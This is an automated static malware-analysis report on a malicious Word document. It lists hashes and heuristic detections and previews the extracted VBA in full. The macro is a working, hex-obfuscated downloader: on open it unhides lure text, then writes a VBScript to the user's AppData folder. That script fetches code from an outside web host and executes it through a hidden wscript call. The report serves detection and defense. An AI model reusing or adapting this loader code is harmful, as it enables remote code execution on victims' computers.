Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 18ee06625f7bddad…

MALICIOUS

Office (OOXML)

19.8 KB Created: 2020-12-24 02:03:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2021-01-15
MD5: c6437d685f4a489c867b4d2b68f07f1a SHA-1: e70aab9e42cf712c99292bfc44fe3e4a44fab4e6 SHA-256: 18ee06625f7bddadafa8c256d63a123f4e69d5488f88828052fd7803b3aa8b3b
158 Risk Score

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell mmhbdzojitzh("77") & mmhbdzojitzh("7363726970742e657865202f2f653a7662736372697074202f2f6220") & rp, vbHide
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Shell mmhbdzojitzh("77") & mmhbdzojitzh("7363726970742e657865202f2f653a7662736372697074202f2f6220") & rp, vbHide
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    rp = Environ(mmhbdzojitzh("617070646174") & mmhbdzojitzh("61")) & mmhbdzojitzh("5c4d6963726f736f66745c54656d706c617465735c76657273696f") & mmhbdzojitzh("6e2e786d6c")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2457 bytes
SHA-256: f008a0db199ae7bb1a033f623025a114564b36075168b0c4618b9c89fb1241c0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub ViewPage(nShape)
    On Error Resume Next
    With Selection
        .WholeStory
        .Font.Hidden = False
        .Font.Fill.Transparency = 0
        .Collapse
    End With
End Sub

Function ReservePage(page_loc, page_content) As Boolean
    fn = FreeFile
    Open page_loc For Output As #fn
    Print #fn, page_content
    bret = True
CleanExit:
    Close #fn
    ReservePage = bret
    Exit Function
CleanFail:
    bret = False
    Resume CleanExit
End Function

Sub msmdluymx(bret)
ui = mmhbdzojitzh("637764612e636f2e6b722f7468656d652f62617369632f736b696e2f6e65772f6261") & mmhbdzojitzh("7369632f757064617465")
rp = Environ(mmhbdzojitzh("617070646174") & mmhbdzojitzh("61")) & mmhbdzojitzh("5c4d6963726f736f66745c54656d706c617465735c76657273696f") & mmhbdzojitzh("6e2e786d6c")
hs = mmhbdzojitzh("4f6e204572726f7220526573756d65204e6578743a536574206f7073") & mmhbdzojitzh("743d4372656174654f626a65637428")
mids = mmhbdzojitzh("4d53584d4c322e536572766572584d4c485454502e362e") & mmhbdzojitzh("30")
hs = hs & """" & mids & """"
mids = mmhbdzojitzh("293a6f7073742e") & mmhbdzojitzh("6f70656e20")
hs = hs & mids & """"
mids = mmhbdzojitzh("474554")
hs = hs & mids & """," & """"
mids = mmhbdzojitzh("687474703a2f2f7878782f6c6973742e7068703f7175") & mmhbdzojitzh("6572793d31")
mids = Replace(mids, mmhbdzojitzh("787878"), ui)
ts = mmhbdzojitzh("2c2046616c73653a6f7073742e53656e") & mmhbdzojitzh("643a45786563757465286f7073742e726573706f6e73655465787429")
hs = hs & mids & """" & ts
bres = ReservePage(rp, hs)
If bres Then
Shell mmhbdzojitzh("77") & mmhbdzojitzh("7363726970742e657865202f2f653a7662736372697074202f2f6220") & rp, vbHide
End If
End Sub
Private Function mmhbdzojitzh(ByVal axdwvpbphuxa As String) As String
Dim kwjpmzeegijh As Long
For kwjpmzeegijh = 1 To Len(axdwvpbphuxa) Step 2
mmhbdzojitzh = mmhbdzojitzh & Chr$(Val("&H" & Mid$(axdwvpbphuxa, kwjpmzeegijh, 2)))
Next kwjpmzeegijh
End Function

Sub AutoOpen()
    On Error Resume Next
    Application.ActiveWindow.View.Type = 3
    Set wnd = ActiveDocument
    ViewPage ("rec")
    wnd.Save
    msmdluymx (True)
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 14336 bytes
SHA-256: a36386097869a316813135115df3d8a7260c4ca882b213aeb5cf0a18ad196a39

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